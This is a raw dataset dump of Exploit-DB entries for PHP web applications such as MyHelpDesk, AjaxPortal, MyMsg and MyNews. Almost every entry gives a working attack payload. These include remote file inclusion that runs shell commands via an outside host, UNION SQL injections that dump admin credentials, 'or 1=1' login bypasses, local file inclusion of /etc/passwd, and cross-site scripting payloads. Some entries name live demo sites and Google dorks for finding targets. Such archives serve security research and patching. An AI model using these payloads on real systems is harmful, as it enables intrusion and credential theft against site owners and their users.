deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25941
Description: MyGuestbook 0.6.1 - 'Form.Inc.php3' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-07-05
Author: SoulBlack Group

Exploit:
source: https://www.securityfocus.com/bid/14155/info

MyGuestbook is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/gb/form.inc.php3?lang=http://www.example.com/cmd.gif?&cmd=id;uname%20-a;uptime
Exploit-DB #21526
Description: MyHelpDesk 20020509 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-06-10
Author: Ahmet Sabri ALPER

Exploit:
source: https://www.securityfocus.com/bid/4970/info

It is reported that MyHelpDesk is vulnerable to cross-site scripting attacks.

Attackers may exploit this vulnerability by constructing a link to a vulnerable scripts, passing malicious HTML code as a value for unsanitized CGI parameters. If the link is sent to a MyHelpDesk user and clicked on, the attacker-supplied HTML code will run in the context of the site running the vulnerable software. 

http://[TARGET]/supporter/index.php?t=tickettime&id=&lt;script&gt;alert(document.cookie)&lt;/script&gt;
Exploit-DB #21519
Description: MyHelpDesk 20020509 - HTML Injection
Type: webapps
Platform: php
Date: 2002-06-10
Author: Ahmet Sabri ALPER

Exploit:
source: https://www.securityfocus.com/bid/4967/info

It has been reported that MyHelpDesk is vulnerable to HTML injection attacks.

MyHelpDesk does not properly sanitize HTML tags from form fields. Attackers may pass arbitrary HTML and script code through the unsanitized form fields or through parameters specified via URL. The attacker-supplied HTML code will be executed by the web client of users who visit such pages, in the security context of the site running the vulnerable software.

This may potentially be exploited to hijack web content or steal cookie-based authentication credentials from legitimate users.

&lt;script src="http://forum.olympos.org/f.js">Alper&lt;/script&gt;
Exploit-DB #21527
Description: MyHelpDesk 20020509 - SQL Injection
Type: webapps
Platform: php
Date: 2002-06-10
Author: Ahmet Sabri ALPER

Exploit:
source: https://www.securityfocus.com/bid/4971/info

It is reported that MyHelpDesk (version 20020509 and earlier) are vulnerable to SQL injection attacks.

Data supplied by the remote user, via CGI parameters, is used directly as part of SQL statements. As input sanitization is not properly performed, it is possible to modify the logic of a SQL query. 

http://[TARGET]/supporter/index.php?t=detailticket&id=root%20me
Exploit-DB #14977
Description: MyHobbySite 1.01 - SQL Injection / Authentication Bypass
Type: webapps
Platform: php
Date: 2010-09-12
Author: YuGj VN

Exploit:
#########################################################################################
# Exploit Title: MyHobbySite 1.01 SQL injection, Bypass Authentication Vulnerability
# Date: 12-09-2010
# Author: YuGj VN
# Email: anhtuanittn.vn@gmail.com
# Software Link: http://www.myhobbysite.net/index.php?page=15
# Version: v1.01
#########################################################################################

Bug Code:
if (isset($_REQUEST['username']) and isset($_REQUEST['password'])) {
	// Get user info from the dataabse
	$_REQUEST['username'] = trim($_REQUEST['username']);
	$_REQUEST['password'] = trim($_REQUEST['password']);
	$usersettings = @mysql_query("SELECT * FROM " . $CONFIG['database_table_prefix'] . "users WHERE username='$_REQUEST[username]' AND password=md5('$_REQUEST[password]')");
	$usersettings = mysql_fetch_array($usersettings);
	if ($usersettings) {
		$_SESSION['logged_in'] = TRUE;
		$_SESSION['userid'] = $usersettings['id'];
		$_SESSION['user'] = $usersettings['username'];
		$_SESSION['pass'] = $usersettings['password'];
		$_SESSION['email'] = $usersettings['email'];
		$_SESSION['permissions'] = $usersettings['permissions'];
		UpdateLogs($usersettings['username'] . " logged into the Admin CP.");
	} else {
		$failed_login = TRUE;
	}
}

#########################################################################################

Exploit:

link exploit:  http://domain.com/admin/
# Enter in username field: ' union select 1,concat_ws(0x3a,id,username,password,email),3,4,5 from mhs_users-- -
# Enter in password field: ' union select 1,concat_ws(0x3a,id,username,password,email),3,4,5 from mhs_users-- -
# or
# Enter in username field: ' or 1=1-- -
# Enter in password field: ' or 1=1-- -
# 
#
# We can exploit only when magic_quote_gpc = Off
# Google dork: Powered by MyHobbySite 1.01
# 
#
#########################################################################################
Exploit-DB #8341
Description: MyioSoft Ajax Portal 3.0 - 'page' SQL Injection
Type: webapps
Platform: php
Date: 2009-04-01
Author: cOndemned

Exploit:
AjaxPortal 3.0 (ajaxp_backend.php page) Remote SQL Injection Vulnerability
Bug found && Exploited by cOndemned
Greetz: ZaBeaTy, d2, Beowulf, str0ke, Alfons Luja, 0in and others

Proof of Concept : http://[host]/[ajaxportal-3.0_path]/ajaxp_backend.php?page=-1+union+select+1,concat_ws(char(58),username,password),3,4,5,6,7+from+PREFIX_users--

Example : http://calmpc.net/ajaxp_backend.php?page=-1+union+select+1,concat_ws(char(58),username,password),3,4,5,6,7+from+dbPfixajaxp_users--


Passwords are encoded using MySQL PASSWORD() function. (used algorithm depends on MySQL version.)


// http://www.youtube.com/watch?v=dX_PLimGeHk&flip=1 :P

# milw0rm.com [2009-04-01]
Exploit-DB #7044
Description: MyioSoft Ajax Portal 3.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-07
Author: ZoRLu

Exploit:
[~] MyioSoft Ajax Portal 3.0 Remote Auth Bypass Vulnerability
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 07.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] dork: "Powered by Ajax Portal 3.0"
[~]
[~] -----------------------------------------------------------

Exploit:

username: [real_admin_name] ' or ' 1=1  ( you must know admin_name )

password: ZoRLu

note: generally admin name: admin


admin login for demo:

http://myiosoft.com/products/AjaxPortal/demo/


example for demo:

admin: demo1 ' or ' 1=1

passwd: ZoRLu

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-07]
Exploit-DB #7053
Description: Myiosoft EasyBookMarker 4 - 'Parent' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-07
Author: G4N0K

Exploit:
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
	Myiosoft EasyBookMarker v4 (Parent) SQL Injection Vulnerability
==============================================================================

	[Â»] Script:             [ Myiosoft EasyBookMarker ]
	[Â»] Language:           [ PHP ]
	[Â»] Website:            [ http://myiosoft.com/?1.4.0.0 ]
	[Â»] Type:               [ Commercial ]
	[Â»] Report-Date:        [ 07.11.2008 ]
	[Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ XPL ]===

	[Â»] http://localhost/[path]/plugins/bookmarker/bookmarker_backend.php?pagebm=mfolders&Parent=-99999/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(version(),0x3a,user()),5--


===[ LIVE ]===

	[Â»] http://myiosoft.com/products/EasyBookMarker/demo/plugins/bookmarker/bookmarker_backend.php?pagebm=mfolders&Parent=-99999/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(version(),0x3a,user()),5--



	
===[ Greetz ]===

	[Â»] ALLAH
	[Â»] Tornado2800 <Tornado2800[at]gmail.com>
	[Â»] Hussain-X <darkangel_g85[at]yahoo.com>

	//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
	//ALLAH,forgimme...

===============================================================================
exit(); //EoX
===============================================================================

# milw0rm.com [2008-11-07]
Exploit-DB #7045
Description: MyioSoft EasyBookMarker 4.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-07
Author: ZoRLu

Exploit:
[~] MyioSoft EasyBookMarker Remote Auth Bypass Vulnerability
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 07.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

Exploit:

username: [real_admin_name] ' or ' 1=1  ( you must know admin_name )

password: ZoRLu

note: generally admin name: admin


admin login for demo:

http://myiosoft.com/products/EasyBookMarker/demo/


example for demo:

admin: demo1 ' or ' 1=1

passwd: ZoRLu

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-07]
Exploit-DB #7046
Description: MyioSoft EasyCalendar - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-07
Author: ZoRLu

Exploit:
[~] MyioSoft EasyCalendar Remote Auth Bypass Vulnerability
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 07.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] -----------------------------------------------------------

Exploit:

username: [real_admin_name] ' or ' 1=1  ( you must know admin_name )

password: ZoRLu

note: generally admin name: admin


admin login for demo:

http://myiosoft.com/products/EasyCalendar/demo/


example for demo:

admin: demo1 ' or ' 1=1

passwd: ZoRLu

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-07]
Exploit-DB #34392
Description: MyIT CRM - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-08-02
Author: Juan Manuel Garcia

Exploit:
source: https://www.securityfocus.com/bid/42140/info

MyIT CRM is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

MyIT CRM 0.2.8.1 is vulnerable; other versions may also be affected. 

Proof of Concept:
http://XXX.XXX.XXX.XXX/index.php?page=employees:main&page_title=View%20Employees
 
* The parameter 'name' in the POST request has been set to:
>"'><img%20src%3D%26%23x6a;
%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;
%26%23x70;%26%23x74;%26%23x3a;alert(36078)>
POST /?page=employees:main HTTP/1.0
Cookie: PHPSESSID=5460a3d8ab4f72cc624e1a6744f5ecfd
Content-Length: 159
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: demo.myitcrm.com
Content-Type: application/x-www-form-urlencoded
Referer: http://demo.myitcrm.com/index.php?page=employees:main&page_title=View%20Employees
name=>"'><img%20src%3D%26%23x6a;
%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%2
3x70;%26%23x74;%26%23x3a;alert(36078)>&submit=Search
* The parameter 'employee_id' in the GET request has been set to:
>"'><img%20src%3D%26%23x6a;
%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;
%26%23x70;%26%23x74;%26%23x3a;alert(55255)>
GET             /?page=employees:employee_details&employee_id=>"'><img%20src%3D%26%23x6a;
%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%2
3x70;%26%23x74;%26%23x3a;alert(55255)> HTTP/1.0
Cookie: PHPSESSID=4b54d326030a5967e44f5719747a7c86
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: demo.myitcrm.com
Referer: http://demo.myitcrm.com/?page=employees:main
* The parameter 'page' in the POST request has been set to:
>%22%27><img%20src%3d%22javascript:alert(35665)%22>
POST /?page=>%22%27><img%20src%3d%22javascript:alert(35665)%22> HTTP/1.0
Cookie: PHPSESSID=b639ec20245375dcf4b1c3f25dfdf20f
Content-Length: 19
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: demo.myitcrm.com
Content-Type: application/x-www-form-urlencoded
Referer: http://demo.myitcrm.com/index.php?page=employees:main&page_title=View%20Employees
name=&submit=Search
Exploit-DB #36882
Description: MyJobList 0.1.3 - 'eid' SQL Injection
Type: webapps
Platform: php
Date: 2012-02-26
Author: Red Security TEAM

Exploit:
source: https://www.securityfocus.com/bid/52168/info

MyJobList is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

MyJobList 0.1.3 is vulnerable; other versions may also be affected.

http://www.example.com/?loc=profile&eid=[SQLi]
Exploit-DB #6850
Description: MyKtools 2.4 - 'langage' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-27
Author: x0r

Exploit:
##############
# Autor: x0r
#
# Email: evolutionteam.x0[at]gmail[dot]com
#
# Download: http://www.easy-script.com/scripts-dl/MyKtools-v2-4.zip
#
# Bug: LFI
##############

Bug:

In \update.php

// Include du fichier langue
if ($_GET['langage'])
{
$langue = $_GET['langage'];
include ("lang/".$langue.".php");
}

Exploit: \update.php?langage=../../../../../../etc/passwd%00

p0wn3d Beby.

-=EOF=-

# milw0rm.com [2008-10-27]
Exploit-DB #6855
Description: MyKtools 2.4 - Arbitrary Database Backup
Type: webapps
Platform: php
Date: 2008-10-27
Author: Stack

Exploit:
MyKtools 2.4 Arbitrary Database Backup Vulnerability
By : Mountassif Moad
Exploit: http://localhost/mykdownload.php
after you get the page for download the backup

# milw0rm.com [2008-10-27]
Exploit-DB #43076
Description: MyMagazine 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: MyMagazine Magazine & Blog CMS 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://geniusocean.com/
# Software Link: https://codecanyon.net/item/mymagazine-bootstrap-newspaper-magazine-and-blog-cms-script/19620468
# Demo: http://demo.geniusocean.com/mymagazine/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15983
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin_process.php?act=vdoeditform&id=[SQL]
# 
# -1'++/*!50000UNION*/+/*!50000SELECT*/+0x31,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),VersiON(),0x34,0x35,0x36--+-
# 
# http://localhost/[PATH]/admin/admin_process.php?act=cateditform&id=[SQL]
# 
# -1'++/*!00022UNION*/+/*!00022SELECT*/+0x31,/*!00022cOnCat*/(username,0x3a,password),0x33,0x34,0x35+/*!00022From*/+admin--+-
# 
# Etc..
# # # # #
Exploit-DB #28108
Description: MyMail 1.0 - 'login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-26
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/18656/info

MyMail is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[MyMail_path]/admin/login.php=error=[XSS]
Exploit-DB #21961
Description: MyMarket 1.71 - 'Form_Header.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-10-23
Author: qber66

Exploit:
source: https://www.securityfocus.com/bid/6035/info

MyMarket is prone to cross-site scripting attacks.

HTML tags and script code are not sanitized from CGI variables which may cause user-supplied input to be displayed. As a result, an attacker can create a link to a site running the vulnerable software which contains malicious attacker-supplied HTML and script code.

When this link is visited, the attacker-supplied code will execute in the user's web client in the security context of the site hosting the software. 

http://www.example.com/templates/form_header.php?noticemsg=<Script>javascript:alert(document.cookie)</Script>
Exploit-DB #16130
Description: MyMarket 1.71 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-02-07
Author: ahmadso

Exploit:
# Exploit Title: MyMarket version 1.71(index.php) sql Injection
# Google Dork: allinurl:mymarket/shopping/index.php
# Date: 7-2-2011
# Author: ahmadso
# Version: 1.71
# Tested on: win xp sp2
====================================================
# http://www.site.com/mymarket/shopping/index.php?id= [SQL Codes]
====================================================
Exploit-DB #9105
Description: MyMsg 1.0.3 - 'uid' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-10
Author: Monster-Dz

Exploit:
 ###################################################################
###################################################################
MyMsg 1.0.3 (Profile.php ) Remote SQL Injection Vuln
###################################################################
Founder : Monster-Dz
Mail: u.2d[at]Hotmail[dot]CoM
###################################################################
Download:http://www.mymsg.al4us.com/index.php?Page=Download
Home: WwW.Sa-SaFe.NeT ( H4ckF0rU.CoM Back Sooon )
###################################################################
SQL Injection Vulnerability  
###################################################################
Exploit:
###################################################################
                      1) First Register On ThE Site http://www.victim.com/User.php?Action=New
       2) Login  
                      3) Example: You Will Go At That Link   http://www.victim.com/Boxes.php?SES_ID=5f97b[PII_REDACTED]9be5ac2d335773753&box=1
       4) Exploit:
         ---------
      http://www.victim.com/Profile.php?SES_ID=| Your Session Id |&do=show&uid=-225+union+select+1,2,3,4,concat(Admin_Name,0x3a,Admin_Password),6,7,8,9,10,11,12+from+tbl_setting--
Demo
----
http://www.mymsg.al4us.com/Demo/MyMsg_1.0.3/
####################################################################
Greeting : MasTer_Fin@L - ThE g0bL!N - Sarbot511 - DrEaDFuL aNd All My Friends

# milw0rm.com [2009-07-10]
Exploit-DB #30230
Description: MyNews 0.10 - AuthACC SQL Injection
Type: webapps
Platform: php
Date: 2007-06-25
Author: netVigilance

Exploit:
source: https://www.securityfocus.com/bid/24621/info

MyNews is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

This issue affects MyNews 0.10; other versions may also be vulnerable. 

To exploit this issue, modify the following cookie variable: authacc = "' OR `row_id`=1 UNION SELECT * FROM `sessions` WHERE '1%3A1%3A1%3A1%3AAdmin"
Exploit-DB #8034
Description: Mynews 0.10 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-02-10
Author: x0r

Exploit:
#########################################################################################
[0x01] Informations:

Name           : Mynews 0_10
Download       :
http://prdownloads.sourceforge.net/mynews/mynews_beta_0_10.zip?download
Vulnerability  : Auth Bypass
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/login.php

[Code]
if ( $request == "POST" )
{
	$username = $_POST['username'];
	$passwd = $_POST['passwd'];
	
	// Call mysql class
	$db = new db;
	$db->info['sql_host']		=	$conf['sql_host'];
	$db->info['sql_user']		=	$conf['sql_user'];
	$db->info['sql_pass']		=	$conf['sql_pass'];
	$db->info['sql_db']		=	$conf['sql_db'];
	$db->connect();
	$sql = "SELECT * FROM users WHERE username='$username' &&
[CREDENTIAL_REDACTED]' ";
	$check_query = $db->query($sql);
	$row = mysql_numrows($check_query);
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: ' or '1=1

########################################################################################

# milw0rm.com [2009-02-10]
Exploit-DB #27809
Description: MyNews 1.6.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-05-03
Author: DreamLord

Exploit:
source: https://www.securityfocus.com/bid/17823/info

MyNews is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.6.2; other versions may also be vulnerable.

http://www.example.com/path/mynews.inc.php?hash="><script>alert(/DreamlorD/)</script>
http://www.example.com/path/mynews.inc.php?hash=cce496a942d7279c14d7da556c14c7b6&mnid=2&page="><script>alert(/DreamlorD/)</script>